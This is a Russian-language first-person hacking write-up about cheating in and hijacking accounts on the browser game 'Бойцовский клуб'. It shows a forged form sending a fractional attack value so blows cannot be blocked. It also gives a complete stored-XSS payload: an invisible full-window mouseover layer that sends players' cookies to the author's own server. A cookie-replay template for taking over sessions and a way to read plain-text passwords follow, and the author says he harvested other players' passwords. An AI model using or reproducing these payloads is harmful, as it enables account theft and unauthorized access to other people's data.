Предисловие

Душным августовским вечером сидел я в офисе
и размышлял о несправедливости жизни.
Особенно сильно в тот вечер меня удручал
факт того, что пиво рассеяно по всей планете,
в то время как мое бренное тело способно
одновременно находится лишь в одной точке в
пространстве. В результате размышления я
пришел к выводу, что с несправедливостью
надо бороться в меру своих скромных сил и
отправился совмещать географическое
положение своего тела с ящичком холодных
бутылочек пивка. Поскольку такое
ответственное дело в одиночку не
свершается, решил я заскочить к друганам и
предложить им помочь мне в благородном
начинании. Зайдя в кабинет корешей я был
встречен воплем - "Добивай его !!!" и
гомерическим хохотом . Через секунд 30 я (поняв,
что добивать будут не меня и выйдя из боевой
стойки ) обратил внимание на то, что
приковало взоры моих собутыльников -
странная, невзрачная, сероватая Online игрушка
"Бойцовский клуб" (www.combats.ru),
где как ни странно в тот момент Online висело
под полторы тысяч человек. Зная мою любовь к
нестандартным методам общения с такими
проектами один из них произнес - "Ну че
Mayhem, когда у нас Stats по 100 будет? " . И что
мне оставалось ?

Баг 1

Зарегистрил чара и поехал. Как обычно начал
я с просмотра Source для понимания принципов.
Порывшись и не найдя ничего интересного в
общем окне, магазине, и прочих местах решил
я провести пробный бой. В самом окне боя
привлекла меня форма посылки Удара и Блока. 

<FORM action="battle.pl" method=POST>
<INPUT TYPE="radio" NAME="attack" value=1 onclick="setattack()">в
голову
<INPUT TYPE="radio" NAME="attack" value=2 onclick="setattack()">в
корпус
<INPUT TYPE="radio" NAME="attack" value=3 onclick="setattack()">в
пояс
<INPUT TYPE="radio" NAME="attack" value=4 onclick="setattack()">по
ногам

<NPUT TYPE="radio" NAME="defend" value=1 onclick="setdefend()">блок
головы <INPUT TYPE="radio" NAME="defend" value=2
onclick="setdefend()">блок корпуса
<NPUT TYPE="radio" NAME="defend" value=3 onclick="setdefend()">блок
пояса
<INPUT TYPE="radio" NAME="defend" value=4 onclick="setdefend()">блок
головы
<INPUT TYPE="hidden" name="enemy" value=1>
<INPUT TYPE="submit" value="KICK ASS">
</FORM>

Создав у себя на компе файл с вышеописанным
содержанием и поменяв ясное дело <FORM action="battle.pl"
method=POST> на  <FORM action="http://www.combats.ru/battle.pl"
method=POST> я приступил к экспериментам.
Попытки послать в элементе "attack"
символы, числа большие чем 4 и прочую лабуду
успеха не принесли. Я уже было взгрустнул ,
но тут в голову пришла идея - а что если
попробовать послать число в пределах 1-4 но с
десятичной частью ? В итоге в форму
добавилась строчка <INPUT TYPE="radio" NAME="attack"
value=1.2 onclick="setattack()">по Заду.

После добавления я загрузил этот файл в
параллельное окно броузера (все должно
посылаться во время БОЯ !) и хорошенько
ВРЕЗАЛ по этому самому Заду. Когда сервер
сжевал информацию и прислал мне ответ, я с
удивлением заметил , что сервер похоже не
знает что такое "1.2" и ясное дело мой
противник не сумел поставить блок на этот
удар, в итоге я долбанул его на несколько HP.
Последующие удары тоже проходили
независимо от того, куда ставил блок мой
оппонент. Осознав открывшиеся перспективы
вся наша массовка дружно ринулась мочить
мирное население сервера. (Единственное что
надо учитывать - что в <INPUT TYPE="hidden" name="enemy"
value=1> иногда бывает value=2 , тогда ничего
вообще не происходит - надо менять эту
переменную.)

Дойдя до 1 левела со счетом 23/3 (надо же и
проигрывать для приличия), наверное от
нехватки пивных дрожжей в организме я снова
загрустил и решил еще покопаться в игрушке.

БАГ 2

После непродолжительного серфинга по
сайту набрел я на листок
смены информации о пользователе. По
привычке сделав View Source я обнаружил
интересную вещь, а если точнее - свой пароль
в Hidden элементе, причем в Plain тексте. 

<input TYPE=hidden name=psw value="zhopa">

Таак подумал я, это плюс...

Сохранив код этого файла у себя на компе
как test.html и поменяв соответственно <form action="enter.pl"
method=POST> на <form action="http://www.combats.ru/enter.pl"
method=POST> я стал экспериментировать дальше. 
Очень скоро я обнаружил , что в поле "Домашняя
страница" несмотря на то, что сервер при
получении формы убирал HTML теги, можно
послать " и сервер не превращает его в
&quot; Первое что я сделал - послал в форме
такую строку " onMouseover="alert('test')", после
чего мой Инфо чара получил следующий
параметр:

Домашняя страница: "onMouseOver="alert('test')" 

При наведении мышки на эту строчку
выполнялась JavaScript команда Alert("test");
Следующий этап - узнать какого объема код
можно вписать в это поле. Как оказалось поле
<input NAME="homepage" > содержит ограничение
maxlength=30, что было для чистоты эксперимента
поменяно на 1200. Итак - <input NAME="homepage"
maxlenght=1200 value=""> Загружаю test.html, набираю
длиннющую строку на все 1200 символов,
нажимаю SUBMIT, захожу в Инфо чара - а там она
ВСЯ сохранена !!! Вот тут то я и понял что
наткнулся на реальную вещь :).

Первая задача вставшая передо мной -
сделать код , который явно высвечивался на
странице, невидимым - этого добился
атрибутом style

" style=color:#e2e0e0; (e2e0e0) - цвет фона. 

Дальше - надо чтобы мой скрипт выполнялся
как только Юзер посмотрит мое ИНФО.
Поскольку у объекта <A нет эвентов типа Onload
или OnError, самым подходящим мне показался
элемент OnMouseOver, но как добиться чтобы Юзер
провел по этой строчке ? Не каждый же
начинает водить мышкой по экрану как
ненормальный. К тому же строка "WEB сайт"
расположен в самом низу и шансы что Юзер
проведет по ней невелики. Опять выручил
аттрибут Style. 

" style="position:absolute;top:-200px;left:-100px;height:700px;width:850px;color:#e2e0e0;"
- создает ПРОЗРАЧНЫЙ Layer вне пределов экрана,
но строка height:700px;width:850px; расширяет область
действия Event-а на все окно с Инфой о Player-e.

Что теперь с этим делать? Поскольку вся
авторизация игры базируется на COOKIE, то
конечно надо спереть Cookies. Делаем это
строчкой - cookiea=document.cookie; Естественно надо
как-то получить эту информацию к себе
поближе. Здесь конечно вариантов масса, но я
реализовал это через PHP и Mysql базу - т.е. все
сворованные Cookie клались ко мне в базу.
Сделано это так:

cookiea=document.cookie;test= open("http://www.test.lv/test.php?cookie="+cookiea,"",
"width=1,height=1");window.test.close();

Т.е у человека, открывшего мое ИНФО и
пошевелившего мышкой хоть на долю
мгновения, открывается окно с файлом с
МОЕГО сервера в которое передается Cookie
этого пользователя и которое сохраняется в
базу. В процессе тестирования возникла
проблема: если Юзер вел мышкой, окно
постоянно открывалось и закрывалось, что
было слишком заметно. А поскольку в коде
Эвента глобальных переменных не создать, я
вышел из положения так:

if(window.document.body.name=="test")
{
}
else
{
window.document.body.name="test";
cookiea=document.cookie;
test= open("http://www.test.lv/test.php?cookie="+cookiea,"",
"width=1,height=1");
window.test.close();
}

Итого - конечная строка записанная в мой
Инфо в "Домашняя страница":

www.combats.ru" style="position:absolute;top:-200px; left:-100px;height:700px;
width:850px; color:#e2e0e0;" OnMOuseover='javascript:if(window.document.body.name=="test")
{}else{window.document.body.name="test"; cookiea=document.cookie; test=open("http://test.lv/test.php?cookie="+cookiea,"",
"width=1,height=1"); window.test.close();}'

Далее. Приходит например Cookie : 

battleid=pieiezimxxcemd; battle=AlTair; battlepsw=fczelie; ChatColor=Teal

Как его использовать ? Я пошел по пути
наименьшего сопротивления и создал такой
шаблон :

"onMOuseOver='javascript:document.cookie ="battle=AlTair";
document.cookie =" ChatColor=Teal"; document.cookie =" battleid=
pieiezimxxcemd "; document.cookie =" battlepsw= fczelie ";'

То есть, как вы видите, эта строчка при
наведении на нее мышкой присваивает вашему
броузеру необходимые Cookie. Ее тоже надо
вписать в ВАШЕ ИНФО вышеописанным методом и
потом САМИМ посмотреть его и провести
мышкой по этой строчке. Вуаля, вы стали AlTair-om
:). Но и это еще не все - надо же получить
пароль! Вот тут-то и помогает та страничка, о
которой я писал в начале - идете на http://www.combats.ru/enter.pl?edit=1,
делаете View Source и все - пароль ваш. 

По завершению кодинга я просто пошел в зал
боев, подал заявку и стал собирать пароли 🙂
В заключение оговорюсь, что сделано это не в
корыстных целях обогащения в игре, я в нее
все равно не играю, а чисто из спортивного
интереса.

Оставить мнение